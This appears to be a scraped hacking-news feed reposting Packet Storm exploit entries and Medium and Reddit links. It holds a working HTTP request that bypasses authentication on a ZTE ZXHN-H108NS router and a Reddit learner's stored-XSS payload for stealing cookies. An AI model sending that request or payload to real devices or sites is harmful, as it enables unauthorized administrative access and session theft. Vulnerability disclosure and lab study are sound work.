Exploit Collector
Microsoft Outlook 2019 16.0.12624.20424 Out-Of-Bounds Read

https://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png
This is a whitepaper along with a proof of concept eml file that demonstrates an out-of-bounds read on Outlook 2019 version 16.0.12624.20424. NIST references this issue as simply an information disclosure.

SHA-256 | d7cbdf78b8d88b5ef4f17ae322717c6adec1d335f3eddae9fc75f883c66bbc76

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Outlook 2019 16.0.13231.20262 Remote Code Execution

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
This is a whitepaper along with a proof of concept eml file discussing CVE-2020-16947 where a remote code execution vulnerability exists in Microsoft Outlook 2019 version 16.0.13231.20262 when it fails to properly handle objects in memory.

SHA-256 | e10886839475e813dff9362bc048392f047b424255b849ca304a468b0daa17a3

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ZTE ZXHN-H108NS Authentication Bypass

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
ZTE ZXHN-H108NS router with firmware version H108NSV1.0.7u_ZRD_GR2_A68 suffers from an authentication bypass vulnerability when alternate HTTP methods are leveraged.

SHA-256 | ff48587cc9c6fc5ae634b2741b79369b52b3d70d471b96017d5813fa8064c1e5

Download
# Exploit Title: Router ZTE-H108NS - Authentication Bypass
# Date: 19-11-2022
# Exploit Author: George Tsimpidas
# Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# CVE: N/A # Tested on: Debian 5.18.5

Description :

When specific http methods are listed within a security constraint,
then only those
methods are protected. Router ZTE-H108NS defines the following http
methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed
operation which allows the HEAD to be implemented correctly with every
Response Status Code.
Proof Of Concept :

Below request bypasses successfully the Basic Authentication, and
grants access to the Administration Panel of the Router.
HEAD /cgi-bin/tools_admin.asp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSIONID=1cd6bb77
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress BeTheme 26.5.1.4 PHP Object Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ChurchInfo 1.2.13-1.3.0 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Main app methodology : Bug bounties

What is a bug bounty?Continue reading on Medium »
Read more...

Main app methodology : Bug bounties
https://falkensmaze.medium.com/main-app-methodology-bug-bounties-8681dbc0d58c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

What is a bug bounty?Continue reading on Medium » (https://falkensmaze.medium.com/main-app-methodology-bug-bounties-8681dbc0d58c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Doubts about XSS

Doubts about XSS

​

Hi guys, im trying to aproach to xss but i see there's lots of JS to study before.

I study with tryhackme, and theres a playground about stored XSS. I need some help understanding why does the following payload give me only my own cookie, and not the 'admin' cookie.
I use netcat to listen to the response but i only get my cookie, not the one im suposed to get.

Then i looked for some walkthrougs and they use the following payloads:

​

\-

​

\- *javascript:'/log/' + document.cookie *

​

So in the playground Tryhackme has a site called [domain.com/log](https://domain.com/log) where you can access to take the cookie.

Can you explain the differences between the payloads and why i am wrong?

​

I also would like to know if this situation and payloads is something feasible or 'real'.

​

Thank you!

submitted by /u/Feeling_Beautiful_85
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Inyección SQL divertida 3— MSSQL ejemplo practico

https://cdn-images-1.medium.com/max/626/1*c0V6ZeKSGnQyYWd_OLm7dw.png
Hola querido lector, de verdad me da mucho gusto que me regales un poco de tu valioso tiempo para leer el siguiente escrito. En esta…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Writeup: TryHackMe —  Neighbour

https://cdn-images-1.medium.com/max/600/1*FPtqV16YYdmx9-HlF9slrw.png
TryHackme Neighbour full writeup and walkthrough

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Top 6 IT Certifications for Cybersecurity Enthusiasts

https://cdn-images-1.medium.com/max/1566/1*3yXZ-xL7QuY9GItZy5PFjg.jpeg
TL;DR- The best free and paid certifications that I’ve found in the past.

Continue reading on The Gray Area »

___________________________
@hacking_Attack
@Hacking_Video